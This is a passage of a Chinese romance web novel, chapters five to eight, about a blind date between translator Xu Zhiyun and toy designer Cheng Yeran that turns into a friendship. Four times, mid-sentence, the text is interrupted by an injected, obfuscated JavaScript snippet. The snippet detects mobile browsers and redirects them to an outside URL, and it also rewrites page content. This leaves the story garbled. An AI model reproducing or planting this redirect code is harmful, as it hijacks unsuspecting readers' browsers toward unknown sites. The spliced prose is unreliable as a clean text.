程烨熙没在意,给江玥夹了两块鱼。他们聊着聊着,话题兜兜转转,终究回到“相亲”这件事情上。 “爸已经把资料发我了,你待会吃完饭好好看一看。”程烨熙也挺操心弟弟的人身大事,“到时候联系人家,好好见见。万一就合眼缘了呢。” 早几年,也有人牵线搭桥,给程烨然介绍姑娘,但都被他一口回绝了。程烨然的理由是:三十岁之前无心恋爱。 可今年,他马上要满三十一岁。 “……知道了。” 程烨然叹了口气。 * 许妈妈正在酒店里舒舒服服地用热水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042585|162605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泡脚,猝不及防就收到了女儿打过来的越洋电话。 许知蕴在电话那头问她:“妈,相亲对象的资料呢?你怎么给我发个空白的表格?” 许妈妈惊了一下,在手机里翻了翻,才发现自己貌似把资料和某个教学上的文件搞混了。 “妈妈发错啦,你等一会。” 她找到了资料,确认内容无误后,才发了过去。许知蕴一边等着文件接收一边问她,爸爸呢,在干什么? 许妈妈小声说:“你爸在网上跟别人下象棋呢。” 许知蕴来了精神:“他下了几盘,赢了几盘?” 许父正在桌旁捧着个手机,聚精会神地点着屏幕,时不时皱眉作思考状。“你爸啊……你爸下了三盘,输了两盘,着急得很。” 许知蕴哈哈大笑。她父亲平生除了教书,就是喜欢下象棋。以前没有手机,他就在学校里四处找人下,实在不行,就跑到隔壁学校去找人对弈。现在网络发达了,他一有空,就在网上跟人切磋。或许是因为年纪大了,加上眼睛不行,往往是输多赢少,但许父也乐此不疲。 他也教许知蕴下棋。许知蕴在象棋上似乎有点天赋,可她心思不在这上面。她爸叫她打谱,她在小房间里偷偷看小人书。后来许父也不管她了,不过有时候,他也会叫许知蕴来跟他下下棋,谁赢了,就能决定今晚吃什么。 许知蕴说:“等你们回来,我再跟老爸切磋一番。” 打完电话,她在床上翻了个身,然后点开许妈妈发送的文档。 相亲对象是个怎样的人呢? 她还没来得及想象,一张照片就比其他所有的文字更快地跳入她的眼帘。 看见那人的样貌,许知蕴瞪大了眼睛。 与此同时,一个电话打到了她手机上,她瞥了眼备注,发现是“15栋802程烨然先生”。她飞快地按下了接听键,与电话那头的人异口同声地发出了一句感叹: “原来是你啊!” 许知蕴简直乐不可支。在打开文档的那刻,她还在猜测这人是什么样的呢。这下是熟人,那就好办了。“程先生好!”她笑嘻嘻地说,“既然是相亲对象,咱们找个时间吃饭怎么样?” 许知蕴在错愕过后,其实是有几分庆幸的。 如果是其他人,她还得费心思鼓捣那些社交辞令。但程烨然不一样——她在之前就想着了,抛开相亲对象这一层不讲,和他做个朋友也不错。 不过许知蕴的内心还是有几分忐忑:她想同他做朋友,但他未必这么认为。留下电话和门牌号,或许也只是出于礼貌。她也认识几个世家子弟,对他们而言,这样无心的礼貌太多了。 但程烨然却很爽快地应下了她的邀约。 “好啊。”语气里甚至带了些调侃,“我原本也是这样想。那么,许小姐喜欢哪一家餐厅呢?” 许知蕴对这方面没有要求:“你来定吧。” 他们又聊了几句,随后约定这周末见。挂断电话的时候,许知蕴对他说了句“再会”。 这句话可不是客套话呢。她想。 5. 第五章 时隔多日,许知蕴又一次坐进程烨然的车里。 先前,程烨然开的是一辆白色的轿车,如今却换成黑色的了。 不过,当她打开车门时,还是能闻见同先前别无二致的香水气息。这香水很好闻,不过分喧宾夺主,而是淡淡的,萦绕在人鼻尖。 她打定主意给家里也买类似的款式,便问:“程烨然,你用的是什么牌子的车载香水?” 程烨然正系安全带,闻言抬起头来:“这不是买的,是我自己调的。” 许知蕴本来在等着他说什么“埃迪”“朗龙”“帕尔马”,却没想到听见的是这个答案。一听是人家自己调的,她也不好意思问人要了。毕竟他们还没熟稔到那个地步。 所以,她只是笑笑:“原来如此。不过真的很好闻。” 他们在一家中餐厅落座。位置靠窗,从这里望下去,能看见河对岸CBD的光亮。视线下沉,还能看到凌凌的江景。 许知蕴也去过城内不少知名的餐厅,但这一家,她还没来过。 餐厅装修得十分低调雅致,可以称得上古色古香。厅里挂了几幅水墨画,不同的区域,用染了水墨色的纱制屏风隔开。屋顶上的宫灯四角都垂着流苏,莹莹地流转着一层融金似的光。 侍者走上前来,在桌上细长颈的乳白瓷瓶里,放上一支新鲜带露水的梨花。梨花雪白,与许知蕴身上的淡蓝色套裙十分相衬。 接着端来茶具,将象牙色的茶杯摆在两人面前,各斟了一杯。茶香袅袅,许知蕴端起杯子喝了一口。她虽然品不出是什么种类的茶,但知道这应是极好的茶叶。 喝完茶,她看了看菜单,一项项扫过去,目光在那道“花胶翅肚羹”上停留了些许。 曾经她同父母一起,去一位亲戚的婚宴,其中一道菜就是这翅肚羹。周边的大人聊天时,都说这家酒店的翅肚羹由名厨掌勺,很是美味。那时她还小,出于好奇,给自己舀了很大一勺,吃起来却觉得除了有些黏糊糊之外,似乎没什么特别的滋味。 她指这道菜给程烨然看。“我听说,本城里做这道菜最出名的,好像是个姓苏的师傅。” 程烨然点头:“苏师傅早些年在洛山酒店,后来同其他几位师傅出来单干了。” 洛山酒店,就是许知蕴曾参加过婚宴的地方。或许在她去之前,那位鼎鼎大名的“苏师傅”就早已离开。 他偏过身来,在她的耳边轻声说:“这家餐厅就是几位师傅的。他们家的翅肚羹和乳鸽很是一绝。” 气息清浅,隐约拂过许知蕴的耳畔,却又不过分靠近。 许知蕴在听见他的话语时,内心还是小小地惊讶了一下。“那就要这两道吧。”她说,“都来这里了,不点拿手好菜,岂不是很亏?” 再要了两道素菜和两份甜品,菜总算是点完了。许知蕴用手撑着下巴,道:“感觉你很会发掘好吃的东西……我每次出门聚餐,不知道吃什么,还得上网找攻略呢。” 她还是很感激他给她推荐烤口蘑虾滑的,真是出人意料的好吃。她后来也介绍自己的姐妹去那里,收到的反馈都是清一色的好评。 程烨然笑笑:“家里有亲戚是厨师,所以对这些稍微了解一点。这家店还是他带我来的,先前也吃过好几次。如果是夏天,还可以尝尝松露冰淇淋。” “那——”许知蕴刻意拖长了语调,“以前你和相亲对象来,也会吃这家吗?” 程烨然拿着茶杯的手忽然一顿,像是被戳中了某个地方。 接着,他耸了耸肩,莞尔道:“不瞒你说,这是我第一次相亲。” 许知蕴几乎要怀疑他说话的真实性了。“真的?” “真的,不骗你。” 得到了这个真诚到有些过分的答案,她不禁感叹:“没想到在你面前,我都算是相亲老手了。” 菜上齐了,程烨然给她舀了碗花胶翅肚羹。许知蕴迫不及待地尝了一口,随后满足地眯起了眼睛。这味道才符合她对这道菜的所有幻想啊! 见她吃得欢欣,程烨然的心情也很好。他们聊了会天。这下总算是进行了相亲必要的流程,不过两人都很随意。谈谈家庭、爱好、工作——许知蕴很不好意思地说,自己最大的爱好就是玩城建类游戏。为了玩好这类游戏,她甚至还买了两本城市建筑学的相关书籍,边学边玩。最后游戏玩得没多好,书也没看明白。 程烨然提及自己的工作时,许知蕴也放下筷子,很仔细地听。对于她来说,这就像是一个新的世界。 当她知道程烨然并没有在父母或亲戚的公司就职时,她还是小小地吃了一惊。 “你们公司叫什么名字?”她兴致勃勃地打开购物软件,企图找到程烨然公司的旗舰店。他报了个名字出来,她就飞快地搜索。“啊,有了!” 许知蕴将屏幕对着程烨然,然后手指在上边滑动着,“哪个是你设计的呀?” 程烨然沉默了两秒,看没办法,只好伸出手,指了个绿色的小恐龙。“这个。” 许知蕴这才注意到他的手很好看。手指修长,骨节分明,是一双适合拿着笔作画的手。 她看着那只憨态可掬,长了一双豆豆眼的绿色恐龙:“这也太可爱了吧!” 可当她再问程烨然,还有哪些是他的作品时,他却神秘地笑了笑,说还是不告诉她了。 趁着程烨然起身去洗手间的当口,许知蕴再度点开小恐龙的页面,飞速地将它加入了购物车。 小恐龙有三个尺码,她毫不犹豫地选择了最大的那个。 而当程烨然知道她向杂志投翻译稿,而问她笔名叫什么时,她才后知后觉地感受到那份被问及“设计作品”时的羞涩。 她有些不好意思地说:“没起什么别的笔名,就叫知蕴。” “知蕴……” 程烨然重复了一遍。声音很轻,在旁人听来,似乎有几分缱绻的味道。 自己的名字在他人的唇齿间流转,许知蕴感觉一丝若有若无的热气攀上了脸颊。 结束了晚饭,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042586|162605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们走出餐厅。外边已是华灯初上。夜风带着凉意,拂过人的面庞。许知蕴理了理头发,忽然听见不远处传来隐约的争吵声。 她朝声音的方向望过去,看见一对男女正怒气冲冲的争执。她不认得那女人是谁,却认得那女人身旁的男人。 那是李文俊。 许知蕴还记得第一次见到李文俊的样子。年轻有为,仪表堂堂,是一个有大好前程的青年,看向陈美芝的目光也满怀爱意。那时她想,或许这会是表姐人生中最后一段恋爱。 可事实是,几年过去,李文俊变成了这个样子。 她无心关注李文俊,只是淡淡地瞥了一眼,便转过头去。倒是程烨然注意到了她的目光,出声问:“那是你熟识的人么?” “……算是吧。”许知蕴说,“以前是,现在不是了。” 以前,他是表姐的未婚夫。现在,对许知蕴而言,他只是个陌生人。 得到这样的回复,程烨然也不觉得奇怪。他明显感受到,许知蕴不愿多说,那他也不会贸然地深入询问。 他们开车返回了小区。 * 许知蕴加上了程烨然的微信。在成为微信好友的当天,她就转了一笔钱给对方。 她不傻,当然知道吃饭时,程烨然不是真的去洗手间,而是去埋单。 妈妈打电话问她相亲的情况:对人家满不满意,有没有下一步发展的打算?许知蕴把那天晚上同程烨然遇见的事讲了,许妈妈听完,很是惊喜:“那你们怪有缘分的。小蕴,对他感觉怎么样?” 许知蕴模模糊糊地说:“……就那样吧。他确实不错,但我觉得我们都没那方面的意思。我就打算做个朋友呗。” 这场相亲不是真正意义上的相亲,因此她也没有想过,会同程烨然有什么意料之外的牵扯。何况,她在先前聊天时就得知,程烨然第二天就要飞到公司总部出差。他们公司是中德合资,这就意味着程烨然得飞到欧洲。 他们这几天都不会再次遇见。 然而,在工作结束后的某个晚上,她忽然接到了一个快递电话。 最近没买快递啊。难道是谁寄给她的? 许知蕴打开快递柜,将这个四四方方,不算沉的箱子扛回了家。箱子并不是普通的快递纸箱,而是精心包装过。经过运输,仍然没有破损的痕迹。用来封住纸箱的胶带上,印了一串字符。许知蕴留心看过去,发现并不是英文。 纸箱很好看,让人不忍心暴力撕扯它。许知蕴拿剪刀小心地沿着缝隙剪开,看见了—— 里边是六七个小玩意:立着许多彩色小鸟的平衡树、充满科技感的小机器人、精致的汽车模型,还有…… 还有三个大小不同,但像小学生一般排排坐好的绿色小恐龙。 在这些玩具下,还有一张深蓝色的纸。她将纸抽出来,看见上边烫金笔的字迹。字迹和缓又不失笔锋,不难想象写字的人是何等用心。 上面写的是: 望您喜欢。程烨然。 6. 第六章 许知蕴简直对这些小东西爱不释手。她将它们珍而重之地放好,特别是那三只小恐龙——她把小恐龙们摆在自己的书桌上,平日里工作的时候,一抬眼就能看见。心情烦躁了,就拿一只在手上把玩。 她特意看准德国的时差,给程烨然打了电话道谢。电话那头的男人轻笑着说:“没什么,你喜欢就好。” 许知蕴开始计划着给程烨然的回礼。等他回国了,送他什么好呢?她咨询了身边好几个同学,又问了爸妈以及表姐,可得到的建议却不太令她满意。想来想去,也没个结果,索性搁置了下来。 只是,在陈美芝终于有空,带她去吃那家心心念念的海鲜时,她吃了几口,心里忽然油然而生一个念头:要是他在就好了。 要是他在,她就带他来这家饭馆。也不知道这家店的口味,他会不会喜欢。 念头升起来的时候,她自己都吃了一惊,面上有几分怔忪。陈美芝看见她端碗的手屡次停住,还以为是今天的饭菜不好吃:“小蕴,怎么了?不合胃口吗?” 许知蕴回过神来,连忙摇头:“没有没有,很好吃,真的。” 她转换了个话题,说自己在餐厅门口碰见李文俊的事情。那同他拉扯的女人也不知是谁,总之不是在酒吧里见过的那个。陈美芝自始至终,神色都是淡淡的,听见李文俊的名字,眉头也没皱一下,只是说:“过去的人已经过去了。他现在同我没有任何的关系。” 紧接着,她又开始叮嘱起许知蕴来:“小蕴,以后找对象,一定要擦亮眼睛。男人,为了得到什么东西,再甜蜜违心的情话,眼睛一眨不眨就能说出来。他们情动时立下的誓言,或许第二天就作不得数。你一定要擦亮眼睛,不要草率地同人家谈恋爱,甚至结婚。” 陈美芝有个大学同学,同别人恋爱了两个月就极速闪婚了。朋友圈里秀的结婚照还历历在目,转瞬间就为离婚的财产分割而争得不可开交。 “……所以小蕴,你以后找了男朋友,一定得给我们把把关。千万不要头脑一发热就去民政局盖章了,知道吗?结婚容易,离婚可不是那么好离的。” 那位同学没有孩子,因此离婚还相对容易。如果有了孩子,有了牵绊,或许更加艰难。 许知蕴很乖巧地应了声“好”。 * 公司会议第二天才开,程烨然提前一天降落了海德堡。 他们公司的写字楼一楼分为两个部分,一个是招待的大厅,另一个则是卖本公司产品的特色直营店。 写字楼不远处就是个不大不小,但充满历史痕迹的市场,也算是这里的一个景点。游人四处逛逛,总能逛到这个直营店。很多人选择在这里买小玩意,当做是伴手礼从海德堡带回。 那天晚上,他拒绝了同事的酒吧邀约,孤身一人在周围漫无目的地散步。市场已经散了,他沿着河边走了一会,索性回到了楼下。 他踏进直营店,在里边挑选了许久,找到几个广受好评且经典的产品,又让店员给他拿了全部尺寸的绿色小恐龙。 他拿起东西走到柜台,让前台打包好,寄跨国快递,随后在快递单上填了一个地址。 前台从抽屉里拿出一沓明信片,指了指桌上的笔,用德语说,可以在这些卡片上写几句祝福的话语。米色的对应家人,粉色的对应爱人,深蓝色的则对应朋友。 程烨然抽出那张深蓝色的卡片,在手里摩挲了一会。 是朋友吗? 他想起许知蕴那双弯弯笑着的眼睛。似乎不管什么时候,她的身上都充满活力。 他挑了一杆笔,随后坐下来,一笔一划地写完了这张卡片。 或许是的。 * 许知蕴背着电脑和书,从咖啡馆里走出来。她这几天几乎天天去,一坐就是一天。服务生们都熟悉她了,在点单时还会送她两三块小糖果。周颂虽然说给她打半折,但她并不好意思要,便出钱办了个会员,每次消费打八折。 她碰见过一次周颂。周颂虽然是老板,但很喜欢打扮成服务生的样子站在一旁,时不时从某个角落窜出来。 他碰见许知蕴时,悄悄跟她咬耳朵:“你知道吗,烨然前几天相亲去了。也不知道是哪家的小姐,结果怎么样。哎,他现在出差了,也不知道跟人家进展如何……” 周颂说完,留心许知蕴的表情,可面前的人只是好整以暇地看着他,言语间还带了点笑意:“知道。我当然知道他去相亲了。” 周颂震惊:“你们关系什么时候变这么好了?他连这个都跟你说了?” “关系到底有多好,我也不清楚。”许知蕴说话慢条斯理的,“因为我就是那位相亲对象呢。” 周颂大张着嘴巴,脸都泛成了番茄色。“那那那——”他一下子组织不清楚语言,“那”了半天,最后憋出一句道歉的话:“对不起啊,别把我先前的调侃当回事……实在不好意思……” 许知蕴当然没把他的调侃当回事。调侃么,就是这样,关心朋友的相亲对象是什么样的人,也是人之常情。 从咖啡馆里走出来,已经是傍晚了。 金云在天空中流动,在这片金色的边缘,还铺陈着紫色的云霞。整个世界,仿佛都笼罩在这层淡淡的光辉里,连空气中的微尘都清晰可见。 这次翻译的作品虽然是个美国作者,但酷爱使用古罗马的神话。许知蕴不得不一边阅读,一边上网搜索古罗马相关的知识来看。看了许久,眼睛有些胀得发疼,不得不休息了一会。 她正看到里边,主角在河边独白的桥段。书里也提到了那么美的晚霞。她看到此处,忍不住抬头看了看窗外,心里觉得,在自然的造化下,纸上的文字,还是太过苍白无力了。 她凝神站了一会儿,准备离开时,包里的手机忽然震动了起来。她翻出电话,看见那个熟悉的备注,又看见地址是在国内,立马接了起来:“喂,程烨然?你回国了?” 她的声音很惊喜,也不知是因为知道他回国的讯息,还是因为他主动打了电话来。 但许知蕴就是很开心。不为别的什么,只是发自肺腑地开心。程烨然回国了,她高兴。他打电话来,她也高兴。她喜欢交朋友,早就把他暗中视为自己的朋友了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042587|162605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 程烨然的声音淡淡的,舒朗又温和:“嗯,今天下午的飞机。” 许知蕴连忙道:“你现在在哪?要不要我去接你?那个,谢谢你寄来的快递,它们都很可爱,我很喜欢——我请你吃饭怎么样?我知道一家很好吃的海鲜餐馆,如果你喜欢吃海鲜的话,我们可以找个时间一起去……” 她有些着急,字像连珠炮似的从口中蹦出来。许知蕴就是有这个毛病,一旦着急,说话的语速就会变得很快。 程烨然的心里忽然生出了某种微妙的感情。 他没有直接回答许知蕴“请客”的问题,而是轻轻地弯了弯嘴角:“许小姐,麻烦回个头。” 许知蕴福至心灵一般转过头,就看见程烨然逆着夕阳的光辉,站在不远处。 这人右手拿着手机,正放在耳畔,左手还拖着个银白色的行李箱,看着她,眉眼含笑。 他身高优越,夕阳顺着他挺拔清俊的身影滑落下来,流泻在地上。许知蕴怔怔地看着他,不知是不是因为太阳过于耀眼,她竟有一瞬间的晃神。 她想起初见程烨然的那个在酒吧的夜晚。光线昏暗,男人抬起头来,五官带着些许锋利,但真正笑起来的时候,却令人感到如沐春风。 等面前的男人朝她招手,她才回过神来,急忙跑过去:“我之前同周颂聊天,问他你什么时候出差回来,他说他也不知道。” “嗯。我没有跟他说。”程烨然道,“工作上的事情有些杂,其实我也不知道我什么时候会回来。” 许知蕴点点头,表示理解。她同程烨然一起走回15栋。在路上,她忽然想起了什么:“对了,我之前说很喜欢你寄来的快递,这不是客套话。喏,你看,我把它们放在书桌上了……” 她掏出手机,翻出相册里的照片给他看。三只小恐龙排排坐,清澈无辜的豆豆眼望向电脑屏幕,无助得像个刚来实习就被塞了一大堆事情的苦命打工人。 程烨然虽然知道她很喜欢,却不知道能喜欢到“放在书桌上”这个地步。他很认真地同许知蕴道谢,许知蕴笑嘻嘻道:“明明是你送我东西,怎么是你说这话呢,应该是我道谢才是。” 程烨然摇摇头:“不。作为设计师而言,自己的产品被人喜欢,是一件很荣幸的事。我当然要向你说声谢谢。” 以前读书时,他参加过不少设计比赛。刚开始的时候,技术不到位,想象也颇为天马行空,结果得到的票数寥寥无几。他一位师姐的作品拔得头筹,不仅获得了奖金,还被一个设计公司看上,买下了版权。那时他很羡慕师姐,想的却不是那些高额的回报,而是想,如果有朝一日,也有那么多人能欣赏自己的作品,那该多好。 走进电梯时,他忽然侧头看了看旁边的人,笑着问:“那么,不知道你先前说‘请我吃饭’这句话,还算不算得数?” 许知蕴一愣,像是没想到他会问起一般,立马大声道:“算数算数,当然算数了!” 电梯运行到7楼,发出“叮”的一声脆响。又是一个说再见的场合。 然而两人都知道,他们总会再见的。 7. 第七章 许知蕴如愿以偿地请程烨然吃了顿饭。 地点当然是选在她喜欢的那家海鲜,只不过店面离城市有点远,要驱车差不多一个小时才到。 她不让程烨然开车,而是开了自己的车出来。深灰色的SUV从车库里缓缓驶出,她摇下车窗,程烨然这才发现她不知什么时候戴了个墨镜。 “来来来,快上来吧。”她说,“车里有眼罩,有小零食,有矿泉水……” 在车里开小卖部么?程烨然笑笑,从善如流地坐了进去。 许知蕴有点懒,一般不爱出远门。平日里就算去市中心逛街或吃饭,也更喜欢坐地铁,而不是傻乎乎地开着车,在道上堵好几个小时。因此她很少开这辆宝贝爱车,只是放它在地下车库里吃灰。如今,总算是逮着机会开它出来兜风了。 窗外的景色如流水般从人眼前掠过。傍晚,多的是在路上三三两两的人们。写字楼里灯火明亮,夜市摊的烟火气伴随着吆喝声。隔着一道玻璃,什么都会变得朦胧,影影绰绰,像现代派的油画。他们驱车过了桥,越过城市里川流不息的河水,追着落日,到了一处海港附近。 海港的渔火,自远而近闪着幽幽的光亮。洁白的沙滩映着白炽灯的灯光,晃人眼睛。车里放着蒸汽波的音乐,许知蕴熟练地找到旁边一个棚子搭成的简易车库,找了个位置停进去。 虽然只是一处海港的停车棚,但棚里也有不少豪车。许知蕴一眼就能明白,是她买不起的类型。但她也并不觉得有什么,停好车后,就招呼程烨然下来。 两人都穿得很随意,程烨然换了一套连帽运动衫,显得颇为年轻,配上他的脸,像个还在大学读书的小伙。许知蕴披了件珍珠白的外套。程烨然注意到,她戴了条细细的银项链,将她的脖颈衬得很是修长。 “哪家?”程烨然的视线扫过这里颇为显眼的好几个招牌。 许知蕴神秘地说:“你看到的这些都不是。跟我来。” 他们在里边绕了一会,走到海边。一家规模不大,不太起眼的小店就坐落在这里。旁边还有一艘轮船,有些年头没开了,又没怎么保养,显得很是破旧。还没进门,就能闻到腾腾的香气。 许知蕴说:“喏,这里才是。” “比起之前看到的几家店,它有点偏僻了。” “是啊,我之前同表姐找到这里也费了点功夫。不过俗话说得好,酒香不怕巷子深嘛。” 外边的装潢虽然不起眼,但餐馆内里的装修却很素净。程烨然跟着她走进去,拿着菜单的服务小哥一看见许知蕴,就热情地招呼她到窗边能看海景的位置坐下。许知蕴来得多了,连老板都认识她,刚一落座,就免费送了他们一大瓶鲜榨的橙汁。 许知蕴把菜单给程烨然看:“有什么不吃或者过敏的吗?” 程烨然摇摇头,说没有,随后把菜单推过去给她:“我没来过这里,你来点吧。” 许知蕴朝他眨了眨眼睛,拿起笔,在菜单上勾画起来。 金鲑是现点现杀,肉质香甜润滑。大龙虾拿来清蒸,出锅后浇上蘸料,别有风味。春笋口感清爽,羊肚菌汤鲜美,喝一口下去,整个身体都暖融融的。 程烨然将四道菜都尝了一遍,最后在许知蕴亮晶晶的、期待的目光下,真心实意地说了一句:“好吃。” 紧接着又说:“我之前怎么没发现呢。” 他大学时就喜欢四处找好味的餐馆,并且一旦找到,就很是专情。就比如,不管城内开了多少家昂贵知名的烘焙店,他最喜欢的,还是老宅门口那家小面包店烤出的拿破仑。从上小学吃到去留学,口味一直不变。 许知蕴手上正剥着龙虾;“那你现在发现了,也很好啊。我是表姐介绍来的,表姐好像又是她师兄介绍来的……哎呀,总归说不清,好吃就是了。” 他们的位置靠着窗,透过玻璃,可以望见上涨又落下的海水。 许知蕴喜欢看海。小时候,听《海的女儿》时,她满心觉得海里真的有人鱼,可等到了海边,她却一点人鱼的踪迹都没发现。爸妈没有戳破她的幻想,只是让她再努力找找看。周末放学,她就专门跑到海边,手里拿着一串烤鱿鱼,等待人鱼的出现。后来长大了,她当然知道这故事是假的,却仍旧喜欢注视这片海洋。就像不是所有的城市都有沙漠与戈壁一样,也不是所有的城市,都能望见海。 她说:“我们的城市真好啊,有穿城而过的江,也有变幻莫测的海。可以在江边钓鱼,也可以在海边思考人生。这真是最棒的事情。” 玻璃窗上映出程烨然的侧脸,也映出他脸上淡淡的笑意。 “我有个同学,曾经问我,虽然这里同京城差不多,但去京城能有更好的发展。”男人给自己和对面的杯子都满上,语气沉稳,“但我觉得,这里要比京城好。这里有一片海啊。” 许知蕴歪了歪头:“所以,你就留下来了?” “嗯。”程烨然说,“所以,我就留下来了。” 就在刚才,他想,不管这里有没有海,或许还是留下来的好。 留下来,才能遇到希望遇到的人。 * 有一个效应,叫“视网膜”效应。 一个人一开始没有注意到某种花是缺瓣的,但当他发现之后,很轻易地就能发现更多种缺瓣的花朵。 这是一种关注焦点的变化。 而许知蕴隐隐觉得,自己对程烨然这个人,似乎也产生了些轻微的“视网膜效应”。从前,两人尽管在同一个小区,却都神奇地没有碰过面。但现在,她反倒是经常与程烨然碰面了。 他们有时在电梯里遇到。许知蕴扛着快递,程烨然在电梯里,帮她摁着开门的按钮。她边说谢谢边扭身进去,看见标着“7”的那个数字亮起了。 她的快递盒不大,却看起来有点分量。程烨然问她买的什么,她将盒子放在脚下,撩开被汗水打湿的头发,说这是自己买的书。统共有三本,都是悬疑小说。 话音未落,眼前一只修长洁白的手,递过来一方纸巾。“擦擦吧。”他说,“你们女孩子大多是长头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042588|162605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发,出汗了会很难受。” 许知蕴有些讷讷地接过纸巾。她的指尖同他的相触,带来一阵难言的暖流。 有时,他们在小区内的花园内,远远地打个招呼。时而是早晨,她起大早去咖啡馆,撞见程烨然的车子从地下车库开出来。是那辆白色的轿车。他问去哪儿,要不要顺路一程。许知蕴知道他是去上班,不像自己这种自由职业者,可以随意安排时间,也不想添麻烦,就笑着拒绝。 时而是夜晚,他拎着公文包走进15栋的大厅。她下去取夜宵,浓烈的烧烤香气传来。碰上程烨然,她就从浸满油脂的棕色纸袋里抽出一根香香脆脆,洒满辣椒粉和孜然的烤翅,用纸巾包着底部,防止脏了手,问程烨然:“你吃不吃?” 程烨然说:“这是你的夜宵啊,我吃了,你不就饿了?” 许知蕴很大度地说:“没关系,分享是人类最大的美德。何况我为了用外卖券而多点了几串,分你吃不成问题。” 程烨然就接过那串烤翅,吃了起来。哪怕是现在这个很容易狼狈的姿势,他的吃相都很标准优雅。许知蕴看他吃东西,莫名觉得很赏心悦目。但这赏心悦目背后的缘由,她又说不出来。 偶尔,她在小区花园的长椅上发呆时,能看见程烨然坐着别人的车回来。他似乎是喝了点酒,白皙的脸也泛着红色。扶他下来的是个穿着花色外套,留长发的男人。这男人穿着颇为前卫,但并不让人觉得庸俗。许知蕴反而觉得,他像是搞艺术的。 应当是他的朋友。 许知蕴想,像程烨然这种人,这种家世,本来就凭空地形成了一个隐形的圈。就算再怎么平易近人接地气,圈子仍然存在。许知蕴的家庭条件已经够好了,但还是会被排除在这些人的圈子之外。 她并不会妄自菲薄,只是偶尔会感叹他们的生活。她虽然接触不到,但也能想象得出,那些所谓“顶级豪门”的日常,或许比小说里写的还要夸张百倍。 新的稿子总算翻译完了。许知蕴只觉得与其说自己看了个故事,不如说是被动吸收了很多古罗马相关的知识,差点就捡起大学时代的课本了。 电话响起,她接起来,随后换鞋子走下楼,去拿她的小馄饨外卖。附近很多做小吃的店铺,但只有这家的小馄饨最得她心。 她拎着外卖往回走,却不曾想碰见了一个熟悉的人影。那人也看见她了,停住脚步,温声说了句“晚上好”。 “晚上好呀。”小馄饨的热气直往许知蕴提着外卖包装的手上冒,她见程烨然又提着包,便看了看现在的时间,调笑着问,“又加班啦?” 据她所观察得出的结果,程烨然加班的天数确实越来越多了。 这姑娘的观察力还真是够敏锐的。程烨然眉眼间透露出几分无奈:“说是进入了考核期,没办法。” 紧接着,他从胸口的口袋里抽出一张墨绿色的票来。票的四周,还印着细细的金线。 “一起去看么?”他低头看着许知蕴,轻声问。 那是一张美术展的票。 8. 第八章 程烨然是被那位穿花外套的长发男人拉去聚会的。 聚会里的这些人,他都或多或少认识。他们同程烨熙这样的社会精英不太一样,大多是做一些各种各样的工作,主打一个随心所欲。 花外套男人姓严,大名严宇之,学的是油画,偶尔参加画展,时不时跟朋友出去喝酒采风,日子过得很是悠闲。家底在那,任他怎么胡闹,总之不愁吃穿就是了。 程烨然同他们结识,还是在一位房地产大亨的订婚宴上。这位大亨即将迎娶第三任妻子,似乎是为了彰显自己对这位未婚妻的看重,将各界名流都请了过来。程父程母很快就融入社交之中,程烨然在宴会厅里待着,觉得没趣,想到楼底的花园走走,却被一个人拦了下来。 严宇之的长发扎成了个丸子头,穿着件度假风的椰子树衬衫,手里还抱着把吉他:“你是程烨然?听说你会吹口琴,要不要和我们一起玩音乐?” 程烨然的口琴其实是半吊子。当年程烨熙学小提琴,他不服气,也想找个乐器学学。成绩上比不过,音乐上还压不过他哥一头吗?头脑发热地找了个英国的口琴老师,学了两年,才发现自己对口琴并没有很大的兴趣。正巧这位老师有急事要回英国去,因此程烨然就能顺理成章地不学了。 他向严宇之解释自己的技术不太好,却得到了对方无所谓的回答;“这有什么,我们这也没有人人都是演奏级。想玩,爱玩,什么水平都可以。” 于是,程烨然欣然加入。严宇之有栋小别墅,他们就在别墅里搞他们的音乐。他们开几瓶酒,边喝边自娱自乐地演奏。饿了,就叫几份外卖,或者直接让人从家里送过来,直到夜幕降临,太阳西沉。 